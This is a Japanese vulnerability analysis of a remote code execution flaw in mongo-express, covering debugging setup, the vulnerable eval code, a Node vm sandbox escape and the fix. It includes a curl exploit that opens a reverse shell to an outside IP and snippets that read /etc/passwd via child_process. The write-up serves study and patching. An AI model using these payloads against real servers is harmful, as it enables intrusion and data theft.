ホームページ >運用・保守 >安全性 >リモートコード実行の脆弱性事例分析

リモートコード実行の脆弱性事例分析

WBOY
WBOY転載
2023-05-11 16:46:061596ブラウズ

0x01 mongo-express について知る<br>

mongo-express は、NodeJS、Express、および Bootstrap3 を使用して記述された MongoDB Admin Web 管理インターフェイスです。現在、mongo-express は、Github で最も多くのスターを獲得している MongoDB 管理管理インターフェイスであるはずです。導入が簡単で使いやすいため、mongo を管理するために多くの人に選ばれています。

リモートコード実行の脆弱性事例分析

0x02 デバッグ環境のセットアップ<br>

0x1 Docker サービスの開始<br>

GitHub の公式セキュリティ発表を読んで、この脆弱性は 0.54.0 より前のすべてのバージョンに影響します。テスト用の例として 0.49 を選択しました。この脆弱性環境には MongoDB データベースも必要なので、次の docker コマンドを実行することですぐに構築できます:

  • MongoDB データベースの構築<br>

docker run --name test -d mongo:3.2

  • 脆弱性を含む mongo-express をビルドし、上記の MongoDB データベースに接続します。 <br>

##docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49

ログをチェックして、接続が確立されていることを確認します。成功。

リモートコード実行の脆弱性事例分析

0x2 nodejs デバッグ オプションをオンにする

<br>

ここにはトリックがあります。nodejs をデバッグしたい場合は、 - を追加する必要があります。 -inspect 起動時のパラメータ。 docker 起動スクリプトに次の変更を加えます

リモートコード実行の脆弱性事例分析##docker restart 183

docker exec -it 183 bash を使用して docker に接続し、デバッグ サービスが有効かどうかを確認します。

リモートコード実行の脆弱性事例分析 をオンにします。上の図に示すように、ポート 9229 を開くだけです。外部ホストが 9229 ポートに接続できる限り、デバッグに chrome プラグインを使用できます。frp を使用してポートを転送するか、docker -p 9229:9229 パラメータを使用して処理できます。

0x3 Chrome DevTools

<br>Chrome プラグインを使用すると、JavaScript スクリプトをデバッグするのと同じように、nodejs をデバッグでき、操作性も非常に便利です。

最初にデバッグ プラグインをダウンロードします

リモートコード実行の脆弱性事例分析Chrome で開きます: Chrome devtools が 2016 年 5 月に Nodejs デバッグをサポートしていることを確認し、[Node 専用の DevTools を開く] をクリックします。

リモートコード実行の脆弱性事例分析接続アドレスとポートの構成

リモートコード実行の脆弱性事例分析次のステップは、js のデバッグと同様です

リモートコード実行の脆弱性事例分析テスト パケットを送信すると、ルーティング ブランチが切断され、この脆弱性のデバッグを開始できます。

<br>
<br>

curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'

##0x03 脆弱性のデバッグと原理分析リモートコード実行の脆弱性事例分析

今回デバッグされた脆弱性の原理は比較的単純です。中心的な脆弱性はコマンド スプライシングです。これは最も単純な形式の脆弱性ですが、サンドボックス VM をバイパスする必要があるため、悪用するにはある程度の努力が必要です。幸いなことに、 nodejs VM 以前の調査ベースをバイパスします。これ以上の苦労はせずに、最後の脆弱性コードを見てみましょう <br>

文字列は toBSON のパラメータです。BSON は MongoDB の一般的なデータ形式であり、JSON に近いものです。ただし、JSON のデータ形式とは多くの違いがありますが、新しいドキュメントの作成 (他のデータベースでの挿入操作と同様) など、mongo-express のすべての BSON 関連操作は toBSON() 関数を経由する必要があります。 リモートコード実行の脆弱性事例分析

たとえば、次の操作

コードフローが bson.toBSON に到達すると、eval 関数がトリガーされます。バックエンド言語の eval 関数をサーバー側で実行すると、コマンド インジェクションが発生し、システムに損害を与える可能性があります。 リモートコード実行の脆弱性事例分析

<br>
<br>
exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} catch (err) { console.error(err); return res.send('無効');}res.send('有効'); };

<br>

exports.toBSON = 関数 (文字列) { var サンドボックス = exports.getSandbox(); string = string.replace(/ISODate\(/g, 'new ISODate('); string = string.replace(/Binary\(("[^"] "),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' string '));', サンドボックス); return Sandbox.doc;};

コードソース解析によると、toBSON のパラメータ文字列は req.body 内のドキュメントであるため、この部分を制御できます。仮想サンドボックスである vm.runInNewContext 関数が見つかります。したがって、次のセクションではサンドボックス保護をバイパスする方法を分析します。

0x04 nodejs サンドボックス バイパス<br>

サンドボックスは、実際の外部コードに影響を与えることなく、信頼されていないコードを安全に実行できる独立した環境です。多くの場合、コードの実行はサンドボックス内で制限されます。 VM モジュールは、VM 仮想マシンのコンテキストでコードをコンパイルおよび実行するための API を提供します。 VM モジュールを使用して、サンドボックス環境でコードを実行します。実行中のコードは異なる V8 コンテキストを使用します。つまり、そのグローバル変数は他のコードとは異なります。ただし、サンドボックス内のコードは引き続きノード プロセスにアクセスできます。私たちはこの方法をバイパスするためによく使用します。

0x1 現象<br>

vm.js

<br>
<br>

"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);

リモートコード実行の脆弱性事例分析

this.process.env が表示されます。 nodejs プロセス情報が取得されます。これは、メイン プログラムに戻ってシステム コマンドを実行することが完全に可能であることを示しています。

0x2 説明<br>

JavaScript では、これはそれが属するオブジェクトを指しているため、これを使用すると、すでに VM コンテキストの外側のオブジェクトを指しています。次に、これにアクセスする .constructor は Object Constructor を返し、Object Constructor にアクセスする .constructor は Function コンストラクターを返します。関数コンストラクターは、グローバル アクセスを可能にする JavaScript の最上位関数のようなものです。 Function コンストラクターを使用すると、文字列から関数を生成して、任意のコードを実行できます。したがって、それを使用してメインプロセスに戻ることができます。これを使用してメイン プロセスにアクセスし、RCE を実行できます。

<br>
<br>

"厳密な使用";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);

同様に、vm2 関数もバイパスできます。 , 原文を参考に勉強しましょうhttps://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

0x05脆弱性パッチ<br>

リモートコード実行の脆弱性事例分析

リモートコード実行の脆弱性事例分析

ここでは、すべてを説明する 2 つの図を示します。mongo-query-parser を使用して BSON データを解析し、ソースから直接置き換えます。

以上がリモートコード実行の脆弱性事例分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。